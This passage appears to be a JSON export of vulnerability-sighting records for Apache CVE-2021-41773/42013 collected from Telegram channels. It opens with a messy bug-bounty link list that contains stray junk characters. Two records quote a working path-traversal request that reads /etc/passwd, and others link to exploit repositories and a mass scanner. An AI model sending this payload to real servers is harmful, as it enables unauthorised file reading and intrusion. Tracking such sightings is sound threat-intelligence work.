tweets\nhttps://mobile.twitter.com/drunkrhin0/status/1344130729320435712\nhttps://twitter.com/0xMstar/status/1464658472981565444{{\nhttps://twitter.com/0xJin/status/1470748925963513863\n\npodcasts\nhttps://open.spotify.com/episode/2VaH6DgbghMEiaimqdxq4Q\n### Data\n---\n\n* [Disclose.io - program List Data](https://raw.githubusercontent.com/disclose/diodb/master/program-list.json)\n\nCVE-2019-11510 Detail \n/dana-na\n\n## CVE/CVD\n---\n\nCVE [2020-3452](https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter)xx\n\n- https://vuls.cert.org/confluence/display/CVD/Executive+Summary\n- https://vuls.cert.org/confluence/display/CVD/Sightings\n\n\nhttps://kathan19.gitbook.io/howtohunt/subdomain-takeover/easy_methods\nhttps://opensourcelibs.com/lib/google-acquisitions\n\n\n\nReverse shells\nhttps://github.com/wwkenwong/Pentest-note\n\nhttps://github.com/tehryanx?tab=repositories\nhttps://github.com/sawzeeyy/Sanitiz3r\nhttps://buaq.net/go-249.html\n\n\n\n s\n\n(https://github.com/Findomain/Findomain/releases)\n*   [Configuing Findomain](https://www.youtube.com/watch?v=Wpm2C1LD9ns)\n*   https://github.com/findomain/findomain/blob/master/README.md#subdomains-monitoring\n\n\nhttps://github.com/D35m0nd142/LFISuite\n\nhttps://hub.docker.com/u/secsi\ntips\n\n\n\n\nWig\nhttps://linuxsecurity.expert/tools/wig/\nxxxzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzx\u03a9xxxxxxxxxxx\u2248\u2248\nBlindElephant\nhttps://linuxsecurity.expert/tools/blindelephant/alternatives/\n\n\nhttps://ronak-9889.medium.com/denial-of-service-using-cookie-bombing-55c2d0ef808c\n\nIOT\n                https://www.youtube.com/watch?v=AKoyZLibIeo  ", "creation_timestamp": "2026-07-10T00:21:33.722762Z"}, {"uuid": "666dc865-f34f-4552-9614-d585c413d789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/Unidentified_TM/1268", "content": "\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0627\u0632 \u0622\u067e\u0627\u0686\u06cc\n\n[Apache] HTTP Server cgi-bin Path Traversal and RCE (CVE-2021-42013)\n\nThis exploit can bypass for Apache HTTP Server 2.4.50 (CVE-2021-41773 Patch Version)\n\nGET /cgi-bin/%%32%65%%32%65/.../%%32%65%%32%65/etc/passwd HTTP/1.1\n\n\n\n#apache\n#rce\n\n\n@Unidentified_TM", "creation_timestamp": "2026-07-16T14:00:04.616212Z"}, {"uuid": "fe69d32d-939b-43d6-849e-8082fd407c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/6kr7hIoL88BrLchA92ncvvrRqf7Y35-wLyAsUuKqT9ornHo", "content": "", "creation_timestamp": "2026-07-16T19:00:06.333290Z"}, {"uuid": "c0b5388f-cc7e-4898-a860-ef4e25f83f13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/7856q1VSKrM2rmaP9pUA3g7DeLjSvGX41DbCgkqetCbQx1c", "content": "", "creation_timestamp": "2026-07-16T19:00:10.866463Z"}, {"uuid": "f39af983-deda-499c-9bd0-b6bc4c07608b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/NYIVWEz-EsB8ef7TazBMjtaMuwPshfSztf-SWjeg1CPetB0", "content": "", "creation_timestamp": "2026-07-16T19:00:11.785129Z"}, {"uuid": "7a0a776c-58e5-42f8-9f5c-0202c1620977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/MYczrieigu1A3MhWknQzdl_ZFhSKZitH7RdEW45J-iqySiE", "content": "", "creation_timestamp": "2026-07-16T19:00:18.408296Z"}, {"uuid": "6045acd0-1094-4d3d-a067-8f301765cc94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/7856q1VSKrM2rmaP9pUA3g7DeLjSvGX41DbCgkqetCbQx1c", "content": "", "creation_timestamp": "2026-07-17T00:00:07.322031Z"}, {"uuid": "3bd0092f-f23b-4a26-8418-6dc2fdcc16a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/6kr7hIoL88BrLchA92ncvvrRqf7Y35-wLyAsUuKqT9ornHo", "content": "", "creation_timestamp": "2026-07-17T00:00:25.112050Z"}, {"uuid": "f6bf7de4-eac6-4541-b375-1b5d8a33f67b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/NYIVWEz-EsB8ef7TazBMjtaMuwPshfSztf-SWjeg1CPetB0", "content": "", "creation_timestamp": "2026-07-17T00:00:27.279368Z"}, {"uuid": "55fba8ca-0832-427d-93b1-b15ea4121193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/MYczrieigu1A3MhWknQzdl_ZFhSKZitH7RdEW45J-iqySiE", "content": "", "creation_timestamp": "2026-07-17T00:00:34.150819Z"}, {"uuid": "057e37d7-3f3d-43d9-bd04-168593a09076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/Unidentified_TM/1268", "content": "\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0627\u0632 \u0622\u067e\u0627\u0686\u06cc\n\n[Apache] HTTP Server cgi-bin Path Traversal and RCE (CVE-2021-42013)\n\nThis exploit can bypass for Apache HTTP Server 2.4.50 (CVE-2021-41773 Patch Version)\n\nGET /cgi-bin/%%32%65%%32%65/.../%%32%65%%32%65/etc/passwd HTTP/1.1\n\n\n\n#apache\n#rce\n\n\n@Unidentified_TM", "creation_timestamp": "2026-07-17T00:00:52.701593Z"}, {"uuid": "f345a0d7-8255-45b4-868a-72289854d6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/MYczrieigu1A3MhWknQzdl_ZFhSKZitH7RdEW45J-iqySiE", "content": "", "creation_timestamp": "2026-07-18T00:00:24.977616Z"}, {"uuid": "af894a5a-a74f-4686-8967-8db794463838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/NYIVWEz-EsB8ef7TazBMjtaMuwPshfSztf-SWjeg1CPetB0", "content": "", "creation_timestamp": "2026-07-18T00:00:44.817280Z"}, {"uuid": "14c1c8ab-714f-44a0-80a9-6f2a14013cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/nZl5UlvWmDfGnVyzuctdLXeNPSthYrXPLlU07drZckp1EYQ", "content": "", "creation_timestamp": "2026-07-22T17:00:05.454462Z"}, {"uuid": "666b870d-736b-401f-b186-b689095e0c35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/nZl5UlvWmDfGnVyzuctdLXeNPSthYrXPLlU07drZckp1EYQ", "content": "", "creation_timestamp": "2026-07-23T01:00:05.078205Z"}, {"uuid": "1df48f97-7743-4b69-b120-df66d24132e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/KaitNews/9005", "content": "\ud83d\udd30 Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\n\nAutomatic Mass Tool for checking vulnerability in Apache (Linux) 2.4.49/50\nUsing GNU Parallel. You must have parallel for running this tool\n\nhttps://github.com/im-hanzou/apachrot\n\n@KaitNews", "creation_timestamp": "2026-07-26T07:01:49.342232Z"}, {"uuid": "51358c08-4f98-493a-8965-c40243f02715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/KaitNews/9005", "content": "\ud83d\udd30 Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\n\nAutomatic Mass Tool for checking vulnerability in Apache (Linux) 2.4.49/50\nUsing GNU Parallel. You must have parallel for running this tool\n\nhttps://github.com/im-hanzou/apachrot\n\n@KaitNews", "creation_timestamp": "2026-07-27T00:01:33.614480Z"}, {"uuid": "96b98407-4841-40f1-b37c-1c977414e12e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "Telegram/F8vrTrUv3gIbFxM3rOXxL26ctNEruG5Sfgafbhhsmc8elBo", "content": "", "creation_timestamp": "2026-07-28T00:00:06.635566Z"}, {"uuid": "da2e7097-f01c-424f-842b-aa033ad7173e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/F8vrTrUv3gIbFxM3rOXxL26ctNEruG5Sfgafbhhsmc8elBo", "content": "", "creation_timestamp": "2026-07-29T00:00:53.551315Z"}, {"uuid": "41e70ae9-8bb6-42b0-9b52-b3783bc01b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/KaitNews/9005", "content": "\ud83d\udd30 Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\n\nAutomatic Mass Tool for checking vulnerability in Apache (Linux) 2.4.49/50\nUsing GNU Parallel. You must have parallel for running this tool\n\nhttps://github.com/im-hanzou/apachrot\n\n@KaitNews", "creation_timestamp": "2026-07-29T01:00:04.804360Z"}, {"uuid": "a43f72f8-a26e-4eca-9399-c47175a69984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/CVEhub/18279", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2021-41773_CVE-2021-42013_Exploits*\nGithub: https://github.com/OfriOuzan/CVE-2021-41773_CVE-2021-42013_Exploits", "creation_timestamp": "2026-07-29T12:00:10.303667Z"}, {"uuid": "4af1055d-4ae9-4c6d-974e-497e36b258da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/CVEhub/12359", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2021-41773-EXPLOIT*\nGithub: https://github.com/K3ysTr0K3R/CVE-2021-41773-EXPLOIT", "creation_timestamp": "2026-07-29T12:00:33.502884Z"}, {"uuid": "0c273337-cc2f-422b-bed2-7a65b46001c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/cisoclub/1063", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (18-24 \u043e\u043a\u0442\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcbb\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 AMD \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \ud83e\uddb9\u200d\u2642\ufe0f\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Meltdown.\n\n2\ufe0f\u20e3 \u0412 \ud83d\udcd2WinRAR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \ud83d\ude1f\u0431\u0435\u0437 \u0432\u0435\u0434\u043e\u043c\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \n\n3\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u0443 \u043f\u043e \ud83d\udd13\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 Polygon (\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Ethereum), \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0438 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u043e\u0435 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2013 \ud83d\udcb02 \u043c\u043b\u043d. \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \n\n4\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Swascan \ud83d\udcdd\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 DVR Visual Tools. \n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Apache Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udd27\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2021-41773, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 cPanel Security.\n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Google \ud83e\uddfe\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \ud83c\udf0eChrome.\n\n7\ufe0f\u20e3 \u0412 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Brizy Page Builder \u0434\u043b\u044f \ud83e\uddfeWordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u043e\u0442\u0435\u043d \u0442\u044b\u0441\u044f\u0447 \ud83d\udda5\u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432. \n\n8\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Microsoft \ud83d\udcc3\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \ud83d\udcc881 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438. \n\n9\ufe0f\u20e3 \u0412 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Slack \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u200d\u2642\ufe0f\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \ud83e\udd37\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0437\u0430 \u0435\u0451 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438.", "creation_timestamp": "2026-07-29T12:03:12.755312Z"}, {"uuid": "5167f2d1-400d-4b05-9fab-04c8efff392a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/18279", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2021-41773_CVE-2021-42013_Exploits*\nGithub: https://github.com/OfriOuzan/CVE-2021-41773_CVE-2021-42013_Exploits", "creation_timestamp": "2026-07-30T00:00:22.117490Z"}, {"uuid": "f19a72a8-d1c5-4624-8cdf-da8532583fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/CVEhub/12359", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2021-41773-EXPLOIT*\nGithub: https://github.com/K3ysTr0K3R/CVE-2021-41773-EXPLOIT", "creation_timestamp": "2026-07-30T00:00:58.333582Z"}]}